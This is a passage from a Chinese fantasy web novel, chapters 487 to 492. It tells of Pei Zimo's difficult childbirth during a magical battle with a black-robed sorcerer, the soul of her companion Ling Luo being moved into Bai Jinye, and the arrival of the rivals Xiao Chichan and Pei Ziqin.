“毕竟是你凌珞叔叔。”凌珞喝了杯子里的水,“你看从我把北冥国国君的位置让出去之后,什么时候还管过北冥国的国事?自己活得开心比什么都强。” “倒也是。”裴子墨点点头,“你要是多管管,北冥国也不至于苍凉成这个样子。” “所有的事情,都会成为历史,说不定再过一些年,北冥国就消失了,再过很多很多年,都不会有人再记着北冥国,更不会记得北冥国曾经有过什么国君,有过什么圣女。是不是曾有过一次‘围北之战’,‘围北之战’因何而起,死了多少人,他们姓甚名谁……你想想,子墨。”凌珞说完,拍了拍裴子墨的肩膀,起身去找他的小兔子了。 第487章 你能来,就很好了 裴子墨是在白锦夜来了的第三天,开始肚子疼的。 可从早上疼到晚上,就是没有一点点要生产的迹象。 开始的时候凌珞扶着她走一走,后来她疼得没有力气站起来,就只能躺在床上。 疼出的冷汗湿透了衣服,甚至她给自己施针都无法止疼。 凌珞本以为自己已经把医书里的东西都背下来了,可真到了这会,脑袋里就是一片空白,什么都想不起来,也不知道该怎么办,忍不住又把医书翻了一遍,可也还是没找到怎么帮她缓解疼痛的方法。 东西也吃不下,只勉强地喝了点温水。 凌珞喂她喝完水,又赶紧问,“你快想想,你之前生孩子的时候,是什么样的。” 裴子墨摇了摇头,第一次的时候在乾坤殿,是有接生婆的,而且那会准备得也充分,她没受什么罪。 第二次的时候,正被九长老围困,精神高度紧张,满脑子都在想生完孩子要怎么脱困,要怎么保护孩子,就连疼痛都没感觉得那么明显。 凌珞就坐在她旁边,不时的帮她擦汗,再去煮了催产的汤药给她。 又过了一个时辰,她疼得实在是没力气了,凌珞便喂养了一次血莲。 原来的那朵血莲已经接近盛开,甚至有些妖异,但后来长出的那个花骨朵,却一直都是花骨朵,而现在,甚至有些若隐若现。 一会颜色淡去得快要消失,一会又完整的出现。 凌珞拧了拧眉,“可能是血莲的原因,这朵新生出来的血莲,会不会……要转移到孩子的身上?” 裴子墨这会好了些,但说话也还是没什么力气,“血莲的事,这世上恐怕就只有你最清楚。” 凌珞沉默了一会,“其实血莲在每个人的身上,表现都会不一样,根据不同的体质、温养的方式,每个人养出来的都不一样。” 他又隔了一会才道,“我当年其实只得到一颗血莲种子,但它会孕育出其他的种子,柳浅的那颗,是它孕育出来的,至于其他的圣女,便不知道是第几代的种子了。不过越往后,血莲的力量就越小,三代以后的种子,几乎就没什么功效了。” “所以,我这颗,就是最开始的那一颗么?”裴子墨低声问。 “是,只有这一颗,还有柳浅的那颗,才能称之为血莲。”凌珞叹了口气,没再继续这个话题,“趁这会不那么疼了,先休息一会。” 裴子墨点了点头,闭上了眼睛。 血莲吸了血,这会也在慢慢吸收,可等它吸收了之后,力量却更大,等重新疼起来的时候,就像是之前的几倍。 凌珞也意识到了这个问题,脸色微微有些难看。 裴子墨却一把抓住他的手,她已经疼了这么久,却始终不见红,那也就只有刚刚他们猜测的这种可能,“晚点再温养一次血莲,它的力量足够大,才能更快的分离出来,估计是要等血莲分离出来,转到孩子身上,孩子才能出生了。” 凌珞点了点头,不等再说什么,门就被人从外面推开。 他也是太过担心,根本没意识到有人走近。 听到开门声才猛地转头看去,就见到白锦夜站在门口。 凌珞微微皱起眉头,脸上闪过一抹警惕,“你来干什么?” 白锦夜往前走了几步。 “你别过来。”凌珞站起身,“不管有什么深仇大恨,孩子是你的孩子,起码你也等她生完孩子再说。” 白锦夜看了看凌珞,目光又落在裴子墨的身上,她疼得死死地咬着嘴唇,唇上都已经见了血,额上的冷汗也不断冒出来,他皱了下眉,又往前走了一步,“让开。” 凌珞没说话,却也没动。 白锦夜失去了耐心,“凌珞,你既然知道是我的孩子,还拦在这,是不是有些多余了?” 凌珞眯眼看了他会,又转头看了看裴子墨,才微微让开身。 白锦夜这才走到床边,在床边坐下来,抬手擦了擦裴子墨额上脸颊的汗水,顿了顿,手往下移,落在她的腹上。 “不要!”裴子墨惊叫一声抓住他的手腕,“别用术法!” 凌珞以为白锦夜要动手,他都已经上前了一步,听到裴子墨惊呼,才明白他的意思,他想用术法把孩子逼出来,不过裴子墨现在没力气解释得更多,只能他来解释。 “已经这么久了,没有别的办法么?”白锦夜拧眉看着凌珞。 他这两天一直在附近,裴子墨从今天早上开始,气息混乱,显然是要生了。 可是他等了许久,如今已经是深夜,却依旧没听到孩子降生,反倒是裴子墨的气息越来越乱。 他们的孩子,第一次出生的时候,因为身份的关系,他没办法陪她,只能焦虑的等着,等他见到他们母子的时候,孩子都已经满月了。 至于第二次……当时在逃命,裴子墨甚至都没有告诉他她怀孕了,在孩子降生之前,他更是已经死了。 如果这一次再错过,他甚至都不知道还有没有以后了。 凌珞摇了摇头,又道,“血莲的事,我所知道的,之前都已经告诉过你了。” 白锦夜拧着眉,扶起裴子墨靠进他怀里。 凌珞看着他们握在一起的手,低声道,“我去烧点热水,有什么事就喊我。” “没什么事就不用进来了。”白锦夜看了他一眼,显然是嫌他在这碍事。 凌珞懒得跟他一般见识,转身出了门。 白锦夜抱着裴子墨的手微微收紧,垂眸看着她,“子墨,我……能做点什么?” 裴子墨摇了摇头,“你能来,就很好了。” 白锦夜看着她,他一整天,坐立不安,脑袋里都是些乱七八糟的念头。 他想她身上九殇的剑伤也不知道有没有彻底好,这会会不会有什么影响,伤口会不会裂开。 他又想当初不应该用九殇的,看着她没躲,他应该及时收剑才是。 他想他应该早就发现裴子墨的异常,应该最先发现她怀孕的。 如果那样,他就不会到处找她,让她躲到这个小岛上来,连个接生婆都没有。 虽然有凌珞陪着,可凌珞到底也不是大夫。 他甚至想,如果她出了什么事该怎么办。 他想了那么久,最后才发现,他想到的都是担心。 就像他这几个月在找她的时候,想的最多的,就是她有没有治疗九殇剑伤的药,就是希望血莲能温养好她的伤。 他明明才是应该那个从头到尾陪她的人,而她如今,对他唯一的指望就是—— 他能来,就很好了。 第488章 他第一个要杀的,就是你 白锦夜重重地叹了一口气,难道他们之间,就只剩下这最后一点奢望了么? 裴子墨轻轻皱了一下眉头,低声道,“你还记得,我们第一次见面的那天么?” 白锦夜微微点了点头。 “但其实在那天之前,我就见过你很多次了。我观察了你很久,从你身边的人下手,了解你的喜好,确保万无一失的时候,才出现在你面前。”裴子墨轻笑道,“聊你喜欢的话题,送你喜欢的东西,让你觉得这世上真的有心有灵犀。” “可我到现在也认为,这世上真的有心有灵犀。”白锦夜低声道,“况且你的演技也并不好。” 裴子墨怔了一下,“你是什么时候发现的?” “我一早就知道你不是巫族人。”白锦夜顿了顿,才道,“巫族人的身上,都有很隐蔽的印记,是巫族人自己才知道的秘密,这印记也无法伪造,像是血脉中自带而来,只有巫族人和巫族人生下的孩子,才天生自带这印记。” “巫族人不与外族通婚,也没人敢忤逆,因为身份伪装不了,一旦被发现身上没有印记,就只有死路一条。” “你不是第一个有这样想法的人,在你之前,很多人都试过,他们学习巫族的一切,术法、穿着、习惯,可他们到死,都不知道自己的身份是怎么暴露的。” 白锦夜说着撩开自己的衣袖,露出手腕,指尖在手腕上摸了一下,一个墨色的巫族图腾便出现在他的手腕内侧。 “我一开始就知道,你不是巫族人,你是故意接近我,但我一直觉得,你应该也就是想要从我身上知道巫族的秘密,知道巫族的动向,然后把消息传回去。” “我给你的消息,真假参半,是我觉得,需要给你一些真实的消息,让你回去能有个交代,能让你的主子开心,你才能一直留在我身边,但这些消息对巫族来说,也不伤根本。” “我那时候想,如果能一直这样维持着,也挺好的。反正我要成为巫族的首领,本就不能成亲,只要我能保护你,我们就能一直在一起。” “后来我们有了孩子,你第一次安排我去见孩子的那天,是在皇室的别院,我才隐隐的猜到,你的身份可能不像是我猜想的那么简单。” 裴子墨垂下眼,“你也想过跟我好好日子的。” “不然我就不会答应你,伪造身份跟你成亲,我比你更清楚,我的身份一旦被揭穿,将带来的是什么后果,可我想赌一赌。”白锦夜轻笑一声,“也不过就是赌输了而已。” “你后悔么?”裴子墨问道。 “后悔啊,怎么会不后悔?”白锦夜说着顿了顿,“但如果再给我一次机会,我应该也还会再赌一次。”他垂眼看着她,再说话,声音都有些轻颤,“子墨……如果那时孩子没死,平安长大,你会怎么样?” 裴子墨微微眯起眼,“如果孩子没死,我也还是会在大婚那天,戳破你的身份,但不会让孩子的身份暴露出来,我也还会杀几个巫族人震慑,然后可能把你囚禁起来。不过等孩子长大以后,能分辨是非的时候,我就会告诉他他的身世,也许他将来能比我……比我们都做的更好。” “可惜……”白锦夜顿了顿,没再说下去。 “那现在你为什么告诉我这个?”裴子墨垂眼看着他手腕内侧的图腾低声问道,“这秘密,不守着了么?” “我们已经离开了这么多年,乾坤殿没有我们,不也延续到现在么?我们能为乾坤殿、为各自的族人做的,早就做完了。”白锦夜低声,“何必还要把这一辈子都搭上?” 裴子墨抿了抿唇,她依旧很疼,于是微微蜷起身体,但突然身体一僵,转头向窗外看去,“他来了。” 她的话音落下,凌珞也冲了进来,“那老不死的来了,怎么样?血莲分离出来了么?” 裴子墨摇了摇头。 凌珞怒气冲冲地看着白锦夜,“都是你,如果不是你,也不会把他引到这来!” “不能怪他。”裴子墨拧了拧眉,“我现在没办法控制和隐匿自己的气息,他肯定是感觉到了。阵法能挡一阵,但不知道能挡多久。” 凌珞瞪着白锦夜,“希望阵法能多挡一会,也希望有的人不是准备里应外合。” “那我肯定第一个杀你。”白锦夜冷眼看着他。 凌珞举起手,露出手心的红线,“我死了,裴子墨也要死,你那未出世的孩子恐怕也活不下来。” 白锦夜微怔了一下,才想起这共命的术法还在,他沉默了会,低头看向裴子墨,“让凌珞走,走得越远越好,只要他活着,你就没事。” 裴子墨苦笑了一声,“他能吊着我的命,前提是我也得有一口气让他吊着,万一我尸骨无存,他逃到哪也都只能跟我一起死。”顿了顿,她才道,“再喂一次血莲吧,希望在阵法破开之前,血莲能够分离出来。” 白锦夜在,这种事凌珞也就不往前凑了,主动把凌迟刀递给了他。 其实那天裴子墨从白锦夜的身上顺走凌迟刀的时候,他第一时间就发现了。 他当时以为,是因为这凌迟刀是她送给他的,所以这会拿了回去。 可后来七杀斩折断,他才明白她顺走凌迟刀的用意。 他们动手的时候,凌珞几次想要上前,都被裴子墨用眼神制止,他大概就猜到了她的想法。 那天在回府之前,黑袍人就已经提前跟他说好,让他缠住裴子墨,黑袍人会趁裴子墨不备给她致命一击。 按照黑袍人自己的说法,他若不是快油尽灯枯,这一次也不会出来找白锦夜,他也怕裴子墨还有后招,他就彻底交代在这里。 所以白锦夜那天确实是有心让凌珞有机会把裴子墨带走。 他只是没想到她一走,就跑了这么远。 “没事,他已经快到大限,破开阵法要耗费他不少精力,到时候我和凌珞挡一挡,只要能拖住他,他坚持不了多久。”白锦夜低声安慰道。 裴子墨摇了摇头,“他骗你,他没有。你跟我在外面这么多年,他早就不相信你了,你又把他一个人扔在海上,自己跑来找我,恐怕他现在第一个要杀的,就是你。” 第489章 云篆 “凌珞。”裴子墨拿出量天尺交给他,他现在手上没什么兵器,凌迟刀在黑袍人面前跟普通的刀没什么区别。 凌珞走过去伸手去接,却被裴子墨握住手,他抬眼看她,就见到她也看着他,虽然没说话,但他也隐约的感觉到了什么,轻轻点了点头。 裴子墨这才放开手,只是说,“你们两个本来就是一体,只要好好配合,至少能打个平手。” “别太担心。”白锦夜轻轻皱了下眉,“没事的。”他说着低头吻了吻裴子墨的额角,放她在床上躺好,握着她的手,警惕地看着外面。 天微微亮的时候,裴子墨觉得有那么一瞬,她疼得快要昏厥,但随后,身体上的疼痛就开始慢慢减轻。 血莲应该是彻底的分离出来了。 她才刚微微松了一口气,就感觉到房子轻微震动了一下,最后一层阵法,也被破开了。 黑袍人的气息慢慢逼近,白锦夜站起了身,九殇也出现在手里。 黑袍人的步子很慢,像是根本不急着进来,甚至还在门口站了片刻,才进了门。 他看着白锦夜,轻笑了一声,“我找上你的时候,就知道,你已经背叛了巫族,你处处手下留情,最后又故意把她放走。锦夜,她到底给你吃了什么迷魂药,让你甘心背叛自己的族人?” 白锦夜看着他,耗费了这么长时间去破解阵法,可他身上的气息却丝毫没有减弱,看样子确实如裴子墨说的一样,他根本就没有快要油尽灯枯,“我已经转世这么多次,根本不记得还有什么族人了。” “你再怎么转世,你身上巫族的印记都不会消失。”黑袍人的目光扫了一眼他的手腕,“况且你也不想想,你为什么会转世,若不是她害你,你现在早就已经是巫族的首领,根本不需要经历转世轮回之苦。” 黑袍人不急着动手,白锦夜更不着急,时间拖的越久,对裴子墨来说就越有利,她现在身上的疼痛消失,显然是血莲已经分离出来了,只要再等一等,孩子降生,裴子墨也就没有那么虚弱。 白锦夜轻笑一声,“你会舍得让出巫族首领的位置?” “我不是已经让出了么?”黑袍人摊了摊手,“若不是你鬼迷心窍,非要搞拜堂成亲那么庸俗的事情,我又何必再费心费力这么多年?” “怎么?巫族已经没落至此,过了这么多年,都没有能担任首领的人了么?”白锦夜看着他,语气里带着几丝嘲讽。 黑袍人轻笑一声,大概是觉得眼前的三个人也逃不出他的手掌心,于是便开口道,“巫族以云篆传世,必须由前一任首领将后一任首领的名字刻在云篆上,首领地位才能得以承认。我已经将你的名字刻在云篆上,也只有你才能刻下下一任首领的名字。” “你放心,下一任首领的人选,我早就已经选好,我也会留你一条命,让你活着回到乾坤殿,把他的名字刻上之后,我会让你余生都生不如死。” “你都这么说了,你以为我还会跟你回去刻什么名字?”白锦夜有些无奈地笑道,“我就是死,都不会帮你做这件事。” “你死了,还会转世,反正我有足够的耐心,总是还会找到你。”黑袍人开口道,“不过到时候,应该就没有人在你身边蛊惑你了。”他说着目光落在裴子墨的身上,“说不定那时候,你会求着我让你回到巫族呢。” 白锦夜看着他,以前他从未听说过云篆之事,所以当初虽然让他继任了巫族的首领,但黑袍人也还有自己的打算,又或者那本就是黑袍人铲除异己再重创皇族的阴谋,“那我还挺想知道,如果你死了,我又不回去刻云篆,巫族会怎么样。” “可惜了,没有这种可能。”黑袍人冷笑一声,“我还可以给你最后一次机会,杀了裴子墨,杀了她肚子里的孽种,你就依旧是巫族的首领。” 白锦夜抖了抖手里的九殇,“但我觉得,如果我杀了你,我也还是巫族的首领,说不定从此以后就能让巫皇两族止战言和。” “冥顽不灵!”黑袍人手上捏了印诀,印诀在空中就化为实体,朝白锦夜打过来。 只不过印诀还没到白锦夜面前,就被瞬间变大的量天尺挡住。 黑袍人眯了眯眼,“东西是好东西,可给你们用,真是浪费!” 裴子墨知道他们能扛一会,她现在最重要的事,就是不让他们分心,能照顾好自己。她摸出几根银针,帮助自己止疼催产。 黑袍人手上没有武器,所以也不敢硬接白锦夜的九殇和凌珞的量天尺,纠缠之间,也算是打了个平手。 当房间里确实狭窄,黑袍人的攻击随意,但白锦夜和凌珞却受了限制,生怕他们的攻击不小心伤到裴子墨。两个人对视一眼,决定把黑袍人引出去。 黑袍人似乎也意识到他们的目的,但是在他的眼里,无论在房间里也好,在外面也好,裴子墨和凌珞今天是一定要死,至于白锦夜,只要留着一口气能回到乾坤殿就可以了。 离开了房间,白锦夜和凌珞也就不再畏首畏尾,缠斗瞬间变得更加激烈。 黑袍人眯了眯眼,抬手一挥,一道罡风朝房子吹去。 房子承受不住这带着术法的风力,摇摇晃晃,眼见就要坍塌。 白锦夜想要回去把裴子墨从房子里带出来,可却被黑袍人缠在困阵之中,凌珞拧起眉,把量天尺打了回去,量天尺刚刚横在裴子墨的上方,房子就瞬间倒塌,好在量天尺为她撑起了一个小小的空间。 裴子墨也抬手撑起了一个阵法,挡住了落下的碎石。 可凌珞手上没了武器,顿时就落了下风,被黑袍人一掌拍飞。 白锦夜此时也挣脱了困阵,替凌珞挡住了一击。 这一击本来就是带着十足杀意,若是落在凌珞身上,他大概就没命了。 幸好白锦夜手里的九殇卸去了一部分攻击,可他还是被震得当场晕了过去。 黑袍人转头看向裴子墨,慢慢地朝她走过来。 第490章 留着他这条命 裴子墨拧眉看着黑袍人越走越近,也微微眯起眼。 “呵。”黑袍人冷笑了一声,“我还以为你当年死了以后,就死心了,没想到这么多年,你都没有长一点记性。但这一次,就会彻底的结束,你再也不会有轮回转世的机会。” 他说着看向裴子墨的肚子,“你当年护不住这孩子,如今一样护不住。” 他手上结阵,把周围挡路的碎石全部吹开,停在了裴子墨的面前,手一挥,量天尺也飞到了一边戳在地上。 “等你死了,等我回到乾坤殿,就会把剩下的皇族人全都杀光,你不是一直想结束巫皇两族的斗争么?只要皇族的人都死了,这斗争自然就结束了。” 裴子墨从他的话里隐约地明白了什么,“你一直找我,是因为皇族也有人在一直找我吧,他们知道我还活着,他们就还会跟巫族抗争。” 黑袍人没说话,两只手平抬,一根黑漆漆的法杖出现在他的手里,法杖的一端尖细,他竖起法杖就往裴子墨的肚子上扎去。 裴子墨知道这法杖的厉害之处,不敢硬接,便动手往黑袍人的胸口攻击,想要击退他。 可黑袍人却硬生生地接了她这道攻击,法杖继续往前。 眼见着法杖到了跟前,凌珞却突然扑了过来,挡在裴子墨面前。 黑袍人微怔,想要收回法杖,却已经来不及,法杖直直地插入凌珞的胸口。 裴子墨眉心狠狠地一拧,这法杖可以破开所有的攻击,哪怕她用量天尺来拦,都不可能拦得住。 但黑袍人之所以现在才拿出来这法杖,就是因为这法杖一旦见血,就会瞬间变成一块废铁,要以巫族的秘法重新洗礼才能再次使用。 而且这法杖杀人,也会吞噬魂魄。 死在这杖下之人,魂魄会终生被法杖所奴役。 之前黑袍人让白锦夜缠住裴子墨,他会给她致命一击,也不过就是想要用这法杖杀了裴子墨,连带着吞掉她的魂魄。 眼见着法杖已经见了血,黑袍人也发了狠,掌心蹿出一股黑色的火焰,沿着法杖就向凌珞烧去。 凌珞其实也知道今天自己有死劫,裴子墨每日都算吉凶,他也一样会算,虽然如今他算卦的本事不如裴子墨,但这点还是能看出来的。 尤其是刚才裴子墨把量天尺递给他的时候,握住他手的那一刻,他就更加确定,其实裴子墨也是知道的。 他知道自己已经避不开剩下的攻击,这黑色的业火专门用来焚烧魂魄,但是不是被焚烧魂魄,对他来说已经没有那么大的影响,反正他本来也不可能再有下一世。 他转头朝裴子墨看过去,想要抬手抓住她的手,想要在这最后一点点时间里,把共命的术法解开。 只不过手眼见着就碰到了裴子墨的手,裴子墨却突然抬起手,在他的眼前抓了一把。 凌珞瞬间就失去了意识。 一团白色的气体从他的额前飘出,裴子墨抽出一道符纸,打在白色的气团上,符纸带着气团迅速的朝白锦夜飞过去。 黑袍人突然看懂了什么,转身就朝白色的气团打去。 裴子墨也顾不上那么多,撑着坐起来扑过去,挡在了黑袍人前面。 黑袍人一掌打在她的后背,也同时被血莲震开。 裴子墨一口血吐出来,跌倒在地上,白色的气团顺利地飞进了白锦夜的身体。 白锦夜的身体猛地震了一下,人也从昏迷中醒过来,他见裴子墨趴在地上,赶紧冲过去把她扶起来,再抬头,就见到凌珞倒在原来床边的位置,已经没了气息。 他咬着牙看向黑袍人的方向,黑袍人这一下被血莲攻击得不轻,半响都没能站起来。 白锦夜眯了眯眼,知道此时也是最好的机会。 可裴子墨却突然抓住他的手,身下也有血流了出来。 刚才黑袍人的攻击,虽然被血莲反击,但是这攻击也彻底地催动了胎儿。 “没事,没事。”白锦夜低声安抚着她,眼睛却瞟着黑袍人的方向。 过了许久,黑袍人终于颤颤巍巍地站起来,他想不明白刚才到底是怎么回事,他所知道的,任何反击的阵法,只要力量在他之下,都不可能完全把他的力道反击回来。 他不相信裴子墨的身上能有这么厉害的反击阵法。 即便是有什么阵法,也应该在他的攻击到达的时候,被彻底击碎。 可她身上的阵法却把他的力道全都反击回来,就像是他拼尽全力打了自己一掌,这一掌要了他自己半条命。 他用法杖撑着自己,勉强地站起身,眯眼看着裴子墨和白锦夜的方向。 他当然也知道,刚才他被攻击之后,就是最好的杀他的机会,可是他们没有过来,就证明他们现在也已经是力竭。 白锦夜站起身,挡在了裴子墨的面前。 黑袍人看着白锦夜手里的九殇在轻轻的颤抖,就知道他现在也是身受重伤,只不过在强撑着而已。 他冷笑了一声,拄着法杖往前走。 蓦地一声婴儿的啼哭响起,伴随着这声啼哭,黑袍人的身体一下子僵在原地,随后就直直地倒在了地上。 白锦夜轻轻皱了一下眉头,他感觉到黑袍人虽然没死,但是气息已经微弱到极限,估计一时半会是醒不过来了。 松了这口气,他也跌坐在地上,又赶紧转身去看裴子墨。 虽然对接生这种事完全没有经验,但脑袋里却蓦地浮现出应该做什么,他轻轻皱了下眉,此刻也没有时间思考这些小事,赶紧剪断脐带,脱了自己的外套包住孩子,又撑起身子去找水。 裴子墨歪头看着躺在自己身边的孩子,也终于放下心来。 白锦夜忙活了半个时辰,才终于搞定了一切。 又在院子外面清理出一片空地,安顿好裴子墨和孩子,便提着九殇往回走。 “锦夜。”裴子墨叫住他,“不用了。” 白锦夜转头看她,“留着他这条命,以后不知道还会做出什么事来。” 裴子墨笑了笑,“留着他这条命,以后能帮我们很多。” 第491章 最难的日子,已经过去了 白锦夜虽然不解,但也还是走了回来。 之前在后山的半山腰,裴子墨就让凌珞盖了一处小的茅草屋,以备不时之需。 如今这处房子已经坍塌,等着裴子墨恢复了些力气,白锦夜便抱着孩子,掺着她去了那处茅草屋休息。 他歇了片刻之后,又把凌珞的尸体带回来。 这一次跟他一起回来的,还有好几只兔子。 裴子墨靠在门口,看着白锦夜帮凌珞清理了身体,才道,“房子后面有一处空地,风水不错。” 白锦夜转头看了她会,没说什么,等安葬了凌珞,回到茅草屋,才开口问,“你早就知道这一次,凌珞会死。” “他没死,但也不知道是不是还能活过来。”裴子墨抱着孩子低声道。 又隔了会才解释,“上一次解决大长老的时候,那位大师来帮我,我让他帮我看了那本书上的文字,那本书上对未来的预测,要比萧尺寒预见的未来更加清晰。” “包括很多我算不出来的事情,书上也都有写了。” “写了你会在国师的帮助下破开封印,写了凌珞会死,写了我会生下这孩子。” “但这件事,还要托大长老的福,他这么多年间,不停的用魂魄之力来折磨孩子的魂魄,以至于这孩子的魂魄无比强大。” “我承诺了这孩子会拜那位大师为师,他又在孩子的魂魄上设下了阵法。” “国师其实无论如何都不可能伤害到这孩子,而这孩子出生时,也会带着前世的记忆,他会记得曾经是谁杀了他,国师的气息那么明显,杀意那么大,孩子自然会反击。” “如今国师被魂魄之力所伤,三魂七魄已散,就算活着,也只会痴痴傻傻。” “但他的术法都在,只要把他炼制成傀儡或者冥尸,将来自然能帮我们做事。” 白锦夜对黑袍人的事情并不关心,他垂下眼,开口问,“所以凌珞是回到我的身体里了?” 裴子墨点点头。 白锦夜也明白了,怪不得之前他在看到孩子的时候,立刻就知道应该做什么事,其实那并不是他的念头,而是凌珞的念头。 “若是凌珞的身体没毁,也许可以像上次一样,等他的魂魄温养好,还能再回到他自己的身体里。”裴子墨开口道,“但是这次他的身体毁了,也等不到他的魂魄温养好,将来也不知道能不能找到合适的身体给他。” “而且,这次和上次也不一样,上次是大师把他整个的魂魄全都剥离出来,并且不切断魂魄和身体之间的联系,只要这联系不断,地府就不会来收人,魂魄也不会逐渐消散。” “我能做到把魂魄剥离出来,并且保持一段时间的联系,但是没办法长期维持,我可以不让地府那边来收人,但是我没办法保证再没有身体联系的情况下,受了伤的魂魄不会逐渐消融。若是魂魄不再完整了,将来就算复活,那也不是本来的凌珞了。所以我只能把最开始的那团执念剥离出来。” “从执念到完整的魂魄,也不知道还要多少年。” “而且这执念在你身体里,若是被你自己消化掉,就再也都不可能形成魂魄了。” 白锦夜轻轻皱了一下眉头。 裴子墨转头笑着看他,“不过你也不用压力太大,凌珞对这些早就有准备,这对他来说,也未必不是最好的结局。” “倒也是。”白锦夜点点头,凌珞心里自然清楚他和裴子墨之间是不可能的,能因为救裴子墨而死,对他来说就已经是圆满的了。 如今回到他的身体里,如果被他消化掉,那就算是跟他合为一体,未尝不是以另外一种方式和裴子墨在一起。 这个念头一冒出来,白锦夜顿时觉得怪怪的,整个人都觉得不舒服了。 正说着话,一只小兔子蹦进了房间里,四处闻了闻,最后停在了白锦夜的脚边,又闻了会,便趴下了。 裴子墨看了一眼,“那只兔子是凌珞最喜欢的小兔子,也很黏他,你可要好好照顾。” 白锦夜闻言,脸色更加古怪,顿了顿,他转移了话题,“饿不饿?我去看看找点吃的。” “之前的那个院子里,应该有些吃的,房子塌了,但东西应该没糟蹋。”裴子墨开口道,“顺便看看国师,把他带回来。” 白锦夜点点头,出了门。 小兔子看白锦夜出了门,跟了几步没跟上,于是就朝裴子墨走过来。 裴子墨弯腰把它抱起来,它就乖乖地趴在了她的腿上,她低头看着小兔子,又翻过手心,看着手心上共命的红线,微微勾了勾唇。 黑袍人被白锦夜带回来之后,还是昏迷了十几天才醒过来。 醒来之后就什么都不记得了,每天傻呵呵地坐在院子里发呆,给饭就吃,给水就喝。 等孩子满月,裴子墨也终于空出时间,把黑袍人也炼成了冥尸。 只不过这一次的冥尸和鬼卿和白锦夜都不一样,禁锢得更加厉害,几乎完全没有自己的想法,也就是说,能力上匹配冥尸,但是头脑上与肉尸没什么区别。 “有他在,遁世岛的那些人也不成威胁了。”裴子墨看着黑袍人满意地道。 白锦夜轻轻皱了下眉头,“真的还要跟遁世岛、乾坤殿纠缠下去么?” 裴子墨嘴角的笑容僵了下,随后慢慢消失,她转头看着白锦夜,“有些东西,并不是随着转世就消失的。”她说着拉过他的手,看着他手腕处的印迹,“是你的责任,就永远都是你的责任。” 白锦夜抬手把裴子墨抱进怀里,“可是我要是背负起这些责任,你怎么办?孩子怎么办?我们之间……该怎么办?” 裴子墨轻轻叹了一口气,抬手拍了拍他的后背,“我们已经走到今天了,最难的日子,其实都已经过去了。” “在大火里的时候,我确实恨你。”白锦夜轻轻拧了下眉,“但……现在再想想,我好像都已经记不起那时候到底是什么心情了。现在,我只想跟你,带着我们的孩子,安安稳稳的过日子。” “你想的,会实现的。”裴子墨轻声道。 第492章 人不能只看眼前 因为暂时也没什么事,所以白锦夜和裴子墨也没有急着离开,可却迎来了不速之客。 萧尺寒不久之前找到了裴子衿,两个人倒是一拍即合。萧尺寒的目标是裴子墨和鬼卿,裴子衿的目标是白锦夜。 他预见了一些画面,见到白锦夜已经和裴子墨翻脸,甚至重伤了裴子墨。 此刻当然也是他们动手的最好机会。 两个人一上岛,裴子墨就知道了,她轻轻叹了一口气,转头看向白锦夜,“萧尺寒走上这条路,大概是不打算回头了。” 白锦夜微微沉默了片刻,“若是换成我,家人都被杀死,无论是不是有什么隐情,我可能都会和他一样,选择为家人报仇。” 裴子墨对于萧尺寒选择这么做,其实也没有什么诧异的,就像她会为了自己的孩子报仇,把九长老和大长老镇压在阵法下一样。 没多久,萧尺寒和裴子衿就到了半山腰。 他们过来的时候,就看到原来的那处院子,一片狼藉,显然是经过一番恶斗。 裴子衿轻轻抿了下唇,“有人在我们来之前来过了?” “我们能找到这里,白锦夜未必找不到。”萧尺寒开口道,“上一次他对裴子墨就已经下了杀手,追到这里也不稀奇。” 裴子衿却皱起眉头,“你能感觉到他们的气息么?” 萧尺寒轻轻摇了摇头,他虽然有了预见未来的能力,甚至可以制造幻象,但是在术法上却并没有太大的进步。 裴子墨和白锦夜的术法如今都在他之上,他自然就感受不到他们的气息。 也是因为如此,他才会和裴子衿合作。 裴子衿毕竟是从遁世岛出来的,即便术法在遁世岛排不上前列,但是在外面,却已经是顶尖。 “有些奇怪。”裴子衿说着停下了脚步。 随着她的话音落下,裴子墨也从茅草屋里面走了出来。 裴子衿眯眼看着裴子墨,她能感觉到这茅草屋里应该有三个人,另外的气息都有些陌生,她转头看向萧尺寒低声道,“你不是说白锦夜跟裴子墨在一起么?” 萧尺寒没有说话。 裴子墨往前走了几步,目光落在萧尺寒的身上,又叹了一口气,她之前让萧尺寒帮忙,跟地府那边打了招呼,萧尺寒不会因此折损寿命。 但是事情结束后,这个特权就没有了。 她也跟萧尺寒说了,预见未来这件事,之后不要再常用。 可见着萧尺寒的面容已经有些苍老,她也知道,他还是用了。 甚至用的还不少,而且在折损了寿命之后,他就开始用其他的办法延续生命。 “我跟你说过,萧家那么多年,都是靠借运来延续。”裴子墨轻声开口道,“如今……你也开始借命,萧尺寒,你会把自己推向万劫不复的。” “我还活着,是因为大仇未报,就算走向万劫不复又能如何?”萧尺寒冷笑一声,“你救我一命,我也帮了你一次,之后便只剩下灭门之仇。” “你的家人,如今都在地府受难,你若是积德行善,他们也能早日脱离苦海。”裴子墨又道,“萧尺寒,人不能只看眼前。” “这一世都不能活得圆满,又何必再想下一世?”萧尺寒眯了眯眼。 裴子墨轻轻摇了摇头,“可你们今天来,又能做什么?” 裴子衿往后退了几步,对着萧尺寒低声道,“她没受伤,我们走吧。” “不可能!”萧尺寒看了裴子衿一眼,他耗费寿命所看到的,白锦夜刺伤了裴子墨,之后裴子墨长时间陷入昏迷,白锦夜四处找他。 “就算受了伤,也早就好了。”裴子衿拧了下眉,“况且白锦夜也没在这,我不陪你耗着了。”她说完就要走。 “子衿,来了就别走了。”裴子墨看向裴子衿的背影,之前为了解决裴子衿留下的麻烦,她也废了不少力,留着裴子衿在外面,说不定什么时候还要搞出什么乱子,与其以后还要时不时地收拾裴子衿留下的烂摊子,不如趁早解决。 听到这句话,裴子衿立刻加快了速度。 只是刚跑出去丈余,就被人一掌打在肩头,她倒飞回来,落在了裴子墨的面前。 裴子墨垂眼看着她,“你放心,我不会对你做什么,但你既然是遁世岛的人,就还是先回遁世岛吧。” “不!”裴子衿提高声音尖叫了一声,她是偷偷从遁世岛跑出来的,若是被裴子墨送回去,遁世岛的那些老家伙不会放过她的。 “你放心,凌锦枫都没有死,估计他们也不会对你下杀手。”裴子墨说着抬手招了招,把裴子衿打回来的黑袍人便慢慢地走过来。 裴子墨看向黑袍人,“遁世岛的地图已经给你了,把她送回去,再回来找我。” 黑袍人点点头,上前抓住裴子衿的肩膀。 看到黑袍人,萧尺寒微微一怔,他看到的画面里,这个黑袍人是跟白锦夜一起的,甚至是要求白锦夜对裴子墨动手的,如今这黑袍人已经帮着裴子墨办事,那就证明在这段时间里一定发生了他不知道的事情。 